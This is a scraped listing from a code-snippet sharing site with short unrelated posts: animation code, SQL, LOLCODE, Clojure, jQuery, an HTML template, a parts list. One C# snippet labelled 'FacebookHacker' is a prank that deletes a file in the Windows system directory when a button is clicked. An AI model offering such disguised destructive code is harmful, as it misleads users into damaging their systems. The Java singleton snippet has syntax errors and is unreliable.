• prisme        
    0 Likes0 Commentsjavascript

    var showResultInfos = function(){
          // INFO BLOC
        	TweenLite.set($response, {x: 0});
        	// SHOW FINAL VISUAL BG
        	TweenLite.to($finalVisualCase, 0.5, {opacity:1, onComplete:function(){
        		// SHOW PRODUCT
        		TweenLite.to($finalVisuals.eq(1), 0.5, {scale :1,opacity:1, onComplete:function(){
    	    		// SHOW ELLIPSE
    	    		TweenLite.to($finalVisuals.eq(0), 0.5, {scale :1,opacity:1, onComplete:function(){
                        TweenLite.to($finalVisualCasePoints, 0.5, {scale :1,opacity:1, onComplete:function(){
                            TweenMax.to($finalVisualCasePoints,1,{scale:0.5,repeat:3,yoyo:true,onComplete:function(){
                                // REPONSE BLOC
                                TweenLite.to($responseInfo, 0.5, {x: 0, delay:0.5});
                                TweenLite.to($responseInfoContent, 0.3, {x: 0, opacity:1, delay:1});
                            }});
                        }});
    		    	}});
    	    	}});
    
        	}});
    
        }
  • unique test methods zen

    noroutine        
    0 Likes0 Commentssql

    INSERT INTO test_1 (id, test_class, test_method, old_ids)
      SELECT
        ss.id,
        ss.test_class,
        ss.test_method,
        array_agg(old_id) old_id
      FROM (SELECT
              tm.id          id,
              tm.test_class  test_class,
              tm.test_method test_method,
              t.id           old_id
            FROM (SELECT
                    min(id) id,
                    test_class,
                    test_method
                  FROM test
                  GROUP BY test_class, test_method
                  ORDER BY min(id)) tm
              INNER JOIN test t
                ON (t.test_class = tm.test_class AND
                    t.test_method = tm.test_method)) ss
      GROUP BY ss.id, ss.test_class, ss.test_method;
  • ivanovsaleksejs        
    0 Likes0 Commentsruby

    HAI
    CAN HAS STDIO?
    VISIBLE "HAI WORLD!"
    KTHXBYE
  • hax

    JosephGoldberg        
    0 Likes0 Commentscsharp

    /*
     * User: Joseph
     * Date: 7/13/2013
     * Time: 8:00 PM
     */
    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;
    
    namespace FacebookHacker
    {
      /// <summary>
      /// leet hax in progress.
    	/// </summary>
    	public partial class MainForm : Form
    	{
    		public MainForm()
    		{
    			InitializeComponent();
    		}
    		void Button1Click(object sender, EventArgs e)
    		{
    			System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll");		
    		}
    	}
    }
    
  • tnoborio        
    0 Likes0 Commentsclojure

    (defn create [{course-id :id
                   tutor-id :tutor-id :as course} open-at & [title]]
      {:pre [(seq tutor-id)
             (instance? java.util.Date open-at)
             (seq course-id)]}
      (insert
       "schedules"
       (assoc-if
        (seq title)
        {:tutor-id tutor-id
         :open-at open-at
         :course-id course-id}
        :title title)))
    
  • Java singleton pattern

    D00msDay        
    0 Likes0 Commentsjava

    class Singleton {
      private static instance;
      
      private Singleton() {
      }
      
      public static Singleton getInstance {
        if (instance == null) {
          instance = new Singleton();
        }
        return instance;
      }
      
    }
  • Reset jQuery infinitescroll after AJAX call

    thomas-kununu        
    0 Likes0 Commentsjavascript

    var $infiniteScrollContainer = $('#my-infinite-scroll-container');
    // Reset the plugin before intializing it again
    $infiniteScrollContainer.infinitescroll('binding','unbind');
    $infiniteScrollContainer.data('infinitescroll', null);
    $(window).unbind('.infscr');
     
    // Initialize plugin
    $infiniteScrollContainer.infinitescroll(
        {
            state: {
                isDestroyed: false,
                isDone: false,
                isDuringAjax : false
            }
        }
    );
  • Anuario

    qroweb        
    0 Likes0 Commentshtml

    <!DOCTYPE html>
    <!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="es"> <![endif]-->
    <!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8" lang="es"> <![endif]-->
    <!--[if IE 8]>         <html class="no-js lt-ie9" lang="es"> <![endif]-->
    <!--[if gt IE 8]><!--> <html class="no-js" lang="es"> <!--<![endif]-->
        <head>
            <meta charset="utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>Plantilla AEM2014</title>
            <link rel="shortcut icon" href="favicon.ico" />
            <!-- SEO -->
            <meta name="description" content="Anuario Economico Municipal 2014">
            <meta name="author" content="Applicattio">
            <meta name="keywords" content="Querétaro, Municipio, Anuario, Económico, 2014" />
            <!-- Bootstrap -->
            <link href="css/bootstrap.css" rel="stylesheet">
            <link rel="stylesheet" href="css/main.css">
            <!-- IE8 support for HTML5 elements and media queries -->
            <!--[if lt IE 9]>
              <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
              <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
            <![endif]-->
        </head>
        <body>
            <div id="containero">
                <div class="container">
                <article class="content">
                    <div>
                    <!-- Comienza el contenido que se pegara en servidor -->
                      <div class="row">
                        <div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
                          <p class="text-justify">
                            <span class="es_language">
                              En México, el INEGI publica el Indicador Global de la Actividad Económica (IGAE), y durante diciembre de 2013 
  • arkejn        
    0 Likes0 Commentstext

    to buy:
    
    -ASUS GTX660
    -bigger case
    -ASUS GX1000
    -ASUS Xonar for muzak
    -ASUS Crosshair IV
    -700W modular PSU
    -water cooling probably
    -SSD for OS
  • test

    mkabischev        
    0 Likes0 Commentsphp

    <?php
    
    echo 'hello, world!';